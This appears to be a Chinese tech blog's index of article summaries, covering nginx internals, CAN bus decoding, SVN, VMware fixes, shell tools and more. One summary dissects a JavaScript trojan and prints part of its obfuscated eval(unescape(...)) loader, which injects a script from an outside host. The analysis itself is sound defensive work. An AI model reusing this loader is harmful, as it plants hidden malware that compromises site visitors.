摘要:打开windows7中的VMware虚拟机时提示:The VMware Authorization Service is not running.在百度里一搜索,好像有很多办法,但是一看都挺复杂的,最后发现了乐意最简单的方法与大家共享。只要对着WVware的快捷方式用鼠标右击,然后选择“以管理员的身份运行”这个问题便解决了。一切就这么简单!!
阅读全文
摘要:Designed by Qtchen001&lcy E-mail:qtchen001@qq.com 技术交流群 184564382考勤机作为终端,主动向服务器发送连接请求,服务器可以使用VPN的方式。作为VPN服务器的计算机有两个网卡,一个连接在局域网中,一个连接在广域网中。考勤机采用主动方式连接网络,这样在一个局域网中可以安装多台考勤机。1、考勤机终端:终端具有的功能除基本的考勤功能外,还需要留足扩展接口,以便日后扩展。考勤机的扩展主要是这样的扩展:人脸识别,采用摄像头拍摄照片来进行识别指纹识别,使用专门的指纹识别模块2、门禁考勤机主要功能需求:考勤卡识别功能,读取考勤卡信息,检验考
阅读全文
摘要:这一章是从广义的信息资源的角度来说的,主要说的是安全管理的问题和技术。
阅读全文
摘要:今天用VMware打开一个很久之前安装的Ubuntu系统,但是发现根用户密码忘记了,但是幸好以前没有将linux系统完全关闭,这样每次开机的时候出现的就是上次关掉的界面。在关闭WMware的时候中间这个按钮相当于将系统挂起,相当于Windows中的待机,下次启动的时候会恢复到上次的状态最左边这个按钮是关闭电源,这和Windows下关闭电源的结果是一样的在ubuntu中修改密码需要有根用户的权限,而且需要在命令行中修改,同时要获得根用户权限才可以幸好的是这次打开的时候还有一个命令行界面,该界面拥有根用户的权限于是在该命令行界面中输入以下命令sudo passwd这样就可以更改密码了如果以前我是将
阅读全文
摘要:今天要在word里面加上水印,但是不管怎么操作都无法将水印显示出来(如图1所示部分水印被覆盖,在文字多的时候全部水印都会被覆盖) 图1 水印被文字覆盖(word2003:格式-->背景-->水印;word2007:页面布局-->水印;然后根据自己要求添加文字水印或者图片水印。)后来发现是这个原因:由于我是直接在网页上拷贝的一段文字,然后这段文字直接把水印覆盖掉了,所以导致水印无法显示出来。解决方法:将底纹设置成无颜色(word2007:页面布局-->页面边框-->底纹-->填充-->无颜色)。 图2 设置方法这样就可以将所有的 水印显示出来
阅读全文
摘要:一、关于工作与生活 我有个有趣的观察,外企公司多的是25-35岁的白领,40岁以上的员工很少,二三十岁的外企员工是意气风发的,但外企公司40岁附近的经理人是很尴尬的。我见过的40岁附近的外企经理人大多在一直跳槽,最后大多跳到民企,比方说,唐骏。外企员工的成功很大程度上是公司的成功,并非个人的成功,西门子的确比国美大,但并不代表西门子中国经理比国美的老板强,甚至可以说差得很远。而进外企的人往往并不能很早理解这一点,把自己的成功90%归功于自己的能力,实际上,外企公司随便换个中国区总经理并不会给业绩带来什么了不起的影响。好了问题来了,当这些经理人40多岁了,他们的薪资要求变得很高,而他们的才能其实
阅读全文
摘要:控制器局域网协议CAN是德国博世公司开发的一套串行总线通讯协议,特别适用于智能设备之间的互联来构成智能系统或子系统。CAN是一种基于广播通讯机制的协议,这种机制通过使用一种面向消息的传输协议来实现,在这种协议下,不定义具体的站点和站点地址,只定义消息。而通过消息标识符来区别不同的消息。而且很容易向一个CAN网络中添加一个节点,当这一节点仅作为接收者时甚至不需要对己有的节点的软硬件做任何的改动。 CAN遵循ISO/OSI标准模型,定义了OSI模型的数据链路层(包括逻辑链路控制子层LLC和媒体访问子层MAC)和物理层。其中MAC(媒体访问控制子层)是其核心层。MAC子层可分为完全独立工作的两个部.
阅读全文
摘要:在用vb编程中,有时,我们需要使用一个跟不规则背景有相同形状的不规则窗体,怎么办呢?首先,我们需要设置无边框窗体,即:borderstyle=0其次,把背景图片覆盖不住的窗体背景设置成透明。这需要用到API函数,Private DeclareFunction GetWindowLong Lib "user32" Alias "GetWindowLongA"(ByVal hwnd As Long, ByVal nIndex As Long) As LongPrivate DeclareFunction SetWindowLong Lib "use
阅读全文
摘要:在安装上svn服务器了以后,自己写了一个手动启动svn服务的脚本,可是不久就被否决了说是版本服务器有多重要,如果系统重新启动了,我们还有手动的启动这个启动那个,太麻烦了,所以就命令俺在把svn服务添加到自动启动项里面去。于是乎,查看下这方面的资料,看到了不少好的文章,可感觉都不是自己想要的。这里给出几个链接:http://www.iusesvn.com/bbs/thread-549-1-1.htmlhttp://www.woaidiannao.com/html/ITjs/js/5804.html感觉挺不错的。我的做法是直接在/etc/init.d/文件夹下创建svnd.sh一个脚本文件:#!/
阅读全文
摘要:1.最简单的单文件上传(没花头)2.多文件上传3.客户端检查上传文件类型(以上传图片为例)4.服务器端检查上传文件类型(以上传图片为例)5.服务器端检查上传文件类型(可以检测真正文件名) 6.上传文件文件名唯一性处理(时间戳+SessionID)7.上传图片生成等比例缩略图8.上传图片加水印(文字水印,图片水印,文字+图片水印)9.1.最简单的单文件上传(没花头)效果图:说明:这是最基本的文件上传,在asp.net1.x中没有这个FileUpload控件,只有html的上传控件,那时候要把html控件转化为服务器控件,很不好用。其实所有文件上传的美丽效果都是从这个FileUpload控件衍生,
阅读全文
摘要:一些商务管理软件,为了防止盗版,经常使用加密狗将软件加密。下面的两个实例将介绍如何将密码写入加密狗及利用加密狗来设计加密程序。在使用加密狗时,需要向加密狗中写入或读取数据。例如,将密码写入或读取加密狗,如何实现呢?运行本例,在文本框中设置密码后,单击【写入】按钮,即可将设置的密码写入加密狗,成功写入后,单击【读出】按钮,即可将写入的密码读出并显示在文本框中。如图13.4所示。在购买加密狗时,厂家通常会附带有开发手册和一张光盘。开发手册中介绍了加密狗的使用方法和开发资料。本例使用赛孚耐信息技术有限公司的加密狗产品,该产品提供了.NET中非托管的类库,来完成加密狗的数据读写功能。下面介绍有关加密狗
阅读全文
摘要:代码记录一下:1public static DataTable getByName(string typeName)2 {3 StringBuilder sb = new StringBuilder();4 sb.Append("select * from type1 where typeName like @typeName");5 OleDbParameter[] param = 6 {7 OleDbHelper.GetParameter("@typeName",OleDbType.VarChar,50,"[typeName]",
阅读全文
摘要:这里的数据使用的是标准的can设备产生的can信号(扩展帧发送数据ID=0x11121181 Data=0x06 0x08)信号的波形如图1所示,这里示波器的探头接的是CAN_H,探头的夹子接的是CAN_L: 图1 示波器显示波形首先根据本博客中前面写的一篇如何测量can总线波特率获取总线的波特率,然后依据波特率和上面的波形读出具体的数据从上面的波形中读取到的数据是10111011101100011110111001111101011111001111101001111100111101111011011101根据标准can2.0b协议可以讲该字符串解析出来,标准的扩展协议如图2所示 图2 c
阅读全文
摘要:ngx_buf.{c|h}分为两种类型,一种是file,一种是memory。因此这里会有文件的一些操作域。typedef void * ngx_buf_tag_t; typedef struct ngx_buf_s ngx_buf_t; struct ngx_buf_s { u_char *pos; //已经执行的数据位置 u_char *last; //使用的内存的最后一个字节的指针 off_t file_pos; ...
阅读全文
摘要:ngx_list.{c|h}结构非常简单,如果你看过之前的array介绍,这一节可以一带而过:typedef struct ngx_list_part_s ngx_list_part_t;
struct ngx_list_part_s { void *elts; //数据区域指针 ngx_uint_t nelts; //数据实际个数 ngx_list_part_t *next; //下一个数据指针
};
typedef struct { ngx_list_pa...
阅读全文
摘要:ngx_hash.{c|h}实现了nginx里面比较重要的一个hash结构,这个在模块配置解析里经常被用到。该hash结构是只读的,仅在初始创建时可以给出保存在其中的key-val对儿,然后就只能进行“增删改查”操作了。先来看一下hash结构的内存布局:typedef struct { ngx_hash_t *hash; //指向待初始化的散列结构 ngx_hash_key_pt key; //为计算散列值用的函数指针 ngx_uint_t max_size; ...
阅读全文
摘要:src/core/ngx_queue.{c|h}实现了一个队列的操作逻辑,队列的基本结构为一个双向队列基础数据结构为:typedef struct ngx_queue_s ngx_queue_t; struct ngx_queue_s { ngx_queue_t *prev; ngx_queue_t *next;
};
根据数据结构可以发现,nginx的队列操作和结构只进行指针操作,不负责节点内容空间的分配和保存,所以在定义自己的队列节点的时候,需要自己定义数据结构以及分配空间,并包含一个ngx_queue_t类型的成员,需要获得原始的数据节点的时候,需要使用ngx_q...
阅读全文
摘要:对应文件为core/ngx_array.{c|h}ngx_array是nginx内部封装的,使用ngx_pool_t对内存池进行分配的数组容器,其中的数据是在一整片内存区中连续存放的。更新数据时只能在尾部压入1个或多个元素。这里单纯的觉得和数组没有差别。数组的实现结构为:struct ngx_array_s { void *elts; //具体的数据区域的指针 ngx_uint_t nelts; //数组实际包含的元素数量 size_t size; //数组单个元素的大小 ngx_uint_t nalloc; ...
阅读全文
摘要:内存分配相关1.系统功能封装内存相关的操作主要在os/unix/ngx_alloc.{h,c} 和 core/ngx_palloc.{h,c}中。其中os/unix/ngx_alloc.{h,c}封装了最基本的内存分配函数,是对c原有的malloc/free/memalign等函数的封装,对应函数为:a.ngx_alloc:对malloc进行了简单的封装;void *
ngx_alloc(size_t size, ngx_log_t *log)
{ void *p; p = malloc(size); if (p == NULL) { ngx_log_...
阅读全文
摘要:简单的数据类型在core/ngx_confing.h中定义了基本的数据类型的映射,大部分都映射到c语言自身的数据类型:typedef intptr_t ngx_int_t;typedef uintptr_t ngx_uint_t;typedef intptr_t ngx_flag_t;其中ngx_int_t,ngx_flag_t都映射为intptr_t;ngx_uint_t映射为uintptr_t。这两个类型在/usr/include/stdint.h的定义为:/* Types for `void *' pointers. */
#if __WORDSIZE == 64
# ifnde
阅读全文
摘要:我们之前说过模块的上下文分别对应四种结构体分别是ngx_core_module_t、ngx_event_module_t、ngx_http_module_t、ngx_mail_module_t分别对应四类模块src/core/ngx_conf_file.h
typedef struct { ngx_str_t name; void *(*create_conf)(ngx_cycle_t *cycle); char *(*init_conf)(ngx_cycle_t *cycle, void ...
阅读全文
摘要:接下来,继续理解helloworld模块中的指令。helloworld中的代码
/* Commands */
static ngx_command_t ngx_http_hello_world_commands[] = { { ngx_string("hello_world"), NGX_HTTP_LOC_CONF|NGX_CONF_NOARGS, ngx_http_hello_world, 0, 0, NULL }, ngx_null_command
};
有代码可以看出模块的指令在源码中ngx_command_t...
阅读全文
摘要:下面开始真正"nginx之旅",屏住呼吸吧!首先找好入手点,对于nginx的入手点就是ngx_module_t结构,他的声明在src/core/ngx_conf_file.h中(我的版本nginx-1.0.13)#define NGX_MODULE_V1 0, 0, 0, 0, 0, 0, 1
#define NGX_MODULE_V1_PADDING 0, 0, 0, 0, 0, 0, 0, 0 struct ngx_module_s { ngx_uint_t ctx_index; ngx_uint_t ind...
阅读全文
摘要:EBS PO Approve Scriptdeclare x_po_head_id number ;
begin select po_header_id
into x_po_head_id
from po_headers_all where
segment1 = '&ponumber'
and org_id = &org_id; update po_headers_all
set authorization_status = 'APPROVED',
approved_flag = 'Y',
approved_date = sysd
阅读全文
摘要:EBS R12.2最大的改进--Online PatchingOnline Patching就是允许用户在运行时打patch,并且无需重启服务器。以前如果用户要打patch,用户必须重启服务器,这个很麻烦并且让会造成几个小时的停机,给客户也造成了成本的损失,12.2以后引入Online Patching,就不会有这样的烦恼了,对于EBS DBA绝对是一个福音R12.2 OLP的实现方式:12.2引入了双文件系统(一个是run time文件系统,另一个是patching文件系统),包括APPL_TOP, Common Top,Oracle Home, Web Home等等.那么对于DB来说,在r
阅读全文
摘要:看了一点nginx的源码发现,nginx的模块思想确实吸引了我,也不得不佩服俄罗斯人的想问题方式,要分析nginx源码,首先要搞懂的就是nginx的模块思想以及相关的数据结构。还记得我们上一次写的helloworld模块么?里面涉及最重要的数据就是ngx_module_t指针数组,这个指针数组包含了当前编译版本支持的所有模块,这个指针数组定义实在自动脚本生成的objs/ngx_modules.c中,如下:extern ngx_module_t ngx_core_module;
extern ngx_module_t ngx_errlog_module;
extern ngx_module_..
阅读全文
摘要:我已经在服务器上设置好了svn的服务器,现在是在一台新的机子上安装新的客户端之后并为一个新的工程建立备份文件夹的过程1、在svn的服务器上建立一个新的文件夹 例如 qtchen2、右击该文件夹 如图1,这是在该文件夹下会自动建立相关的文件 图13、打开qtchen/conf文件夹下的conf文件将#password-db = passwd前面的#号去掉 这里需要注意password-db = passwd这串字符必须在左侧定格,中间不能由空格 如图2所示, 图2然后打开passwd文件,添加用户名和密码例如: chen = 123456他表示 用户名是chen 密码是123456此时服务器端的
阅读全文
摘要:最近看完一本书,而且还是跟我一个学校的人写的关于nginx的内容,个人觉得内容可以更充实点,包括整本书的后半本没有太大的价值,但是总体来说还是不错的哈哈!(是不有点自恋),不费话了,今天记录下我刚刚编写的nginx hello_world模块内容,网上也没有源代码,就完全手敲了,累呀!1.nginx模块首先nginx和apache最大的不同就是nginx的模块不能够动态添加,需要在编译时,指定要添加的模块路径,与nginx源码一起编译。nginx模块的处理流程:a.客户端发送http请求道nginx服务器b.nginx基于配置文件中的位置选择一个合适的处理模块c.负载均衡模块选择一台后端服务器
阅读全文
摘要:查看自己的ip信息:[root@slave5 conf]# ifconfig
eth0 Link encap:Ethernet HWaddr E0:CB:4E:D0:EC:B2 inet addr:192.168.30.149 Bcast:192.168.30.255 Mask:255.255.255.0 inet6 addr: fe80::e2cb:4eff:fed0:ecb2/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 ...
阅读全文
摘要:这两天在研究车载can总线,因为对于车上的can总线的接口以及波特率没有对应的资料可查(不同的车接口都不一样,波特率也可能不同),做一想要从车上测出can总线上的数据还不太容易。于是我首先使用示波器(我使用的示波器型号是TDS 220)来找出汽车上can总线的接口,然后测出can总线的波特率,测量波特率的步骤如下:1、将示波器的两个接口(接地和探头)分别接在can总线的两条线(CAN_H和CAN_L)上,这里需要注意如果CAN线上需要接一个120欧姆的负载电阻,否则波形是不规整方波,接上负载之后才是规整的方波。2、此时如果can线上有数据,则会在示波器上显示出方波如图1所示。(这里使用示波器的
阅读全文
摘要:特别感谢:http://www.linuxso.com/linuxrumen/4023.html这里遇到了问题后,上述网站图文并茂的把怎么修改的给写的非常详细。先收下。有时候遇到这种棘手的问题,可以拿来看看,很不错哦。
阅读全文
摘要:今儿实验室弄了台刀片服务器来,呵呵,介于之前自学过点儿linux的知识,就去试试手,发现还听不好弄得。首先是查看服务器的版本情况:自己只是知道其中的一种方法,上网上找了以后发现真的好多啊,赶紧收藏了root@zhou:~# cat /etc/issue
Ubuntu 11.10 \n \l
root@zhou:~# cat /proc/version
Linux version 3.0.0-13-generic (buildd@rothera) (gcc version 4.6.1 (Ubuntu/Linaro 4.6.1-9ubuntu3) ) #22-Ubuntu SMP Wed Nov
阅读全文
摘要:经过这两天sed的学习,发现其实sed其实挺简单的无非就是两句话来总结:sed是一种基于hold space和pattern space的逐句操作编辑器。为什么这么说呢,通过学习不难发现,不管是grep ,sed都是利用正则表达式进行的操作,所以这里在学习shell编程前我们一定好好的学习正则表达式。下来介绍一下我对sed的几点认识:首先就是搞清楚hold space和pattern space的概念。然后再了解sed的命令参数的意义,这样才能游刃有余。下面是课后习题,1.把Jone的名字改为Jonathan。zhouqian@zhou:~$ sed -n 's/^Jon/Jonath
阅读全文
摘要:木马解剖:这是一段JS木马,请一定谨慎,不要在浏览器中执行。但在本站本文中阅读是安全的,本文url如下http://www.path8.net/tn/archives/4235 ;但笔者不能保证对本文的转载也是安全。<script>eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%65%73%73%74%68%65%6E%61%6D%69%6E%75%74%65%68%6
阅读全文
摘要:小时候看《西游记》,感觉妖怪是最笨的,哪里需要孙猴子去打,自己就笨死了,明明唐僧落到手中,却总是不忙吃,结果总是被神仙们连窝铲除,连山贼这个很有前途的职业都做不成。要我是妖怪,先把唐僧吃了,吃一口就长生不老,全吃了还不功力暴增,金刚不坏呀,那时候再去跟孙猴子和各路神仙PK,其奈我何?经历的事情多了,才知道问题不那么简单。《西游记》虽然讲的是神仙妖魔世界,本质上仍然是一个政治故事。既然是政治,决定能否吃掉对方的,自然不是嘴,而是权力。从政治角度来说,唐僧根本就不是一种适于食用的生物,为什么呢?因为在政治生态圈中,妖怪们看似强大,却处于食物链的低端,而唐僧反之,看似文弱,却处于食物链的高端。“吃唐
阅读全文
摘要:在win7下安装一个无法即插即用的设备和以前的xp的步骤不太一样,xp一般在设备插上之后会自动弹出一个安装驱动的窗口,来让我们选择是自动安装还是手动安装。但是win7上的步骤是在“开始”-->运行 里面输入hdwwiz,然后按照步骤点“下一步”,但是却安装不了我需要的驱动。我的解决办法是:1、插上usb设备2、打开计算机的设备管理,可以看到如下:可以看到在其他设备里面已近存在需要我添加驱动的外设后面只需要鼠标右击该有叹号标志的设备,然后为其添加相应的驱动路径,最后确定之后驱动便添加好了此时设备也就可以使用了
阅读全文
摘要:最近一段时间没什么事儿,就像起来看看上次老师给说的学习mysql同时,一定学一门脚本语言,所以自己也潜下心来好好的学习shell脚本。上豆瓣上面找了一本好评最多的书。然后去图书馆借了本超级厚重的书,《unix sell 范例精解》果然很是详细啊。今儿刚好看到了grep这一工具,然后就把课后的题给做了下:文件test.txtSteve Blenheim:238-923-7366:95 Latham Lane, Easton, PA 83755:11/12/56:20300 Betty Boop:245-836-8357:635 Cutesy Lane, Hollywood, CA ,91464.
阅读全文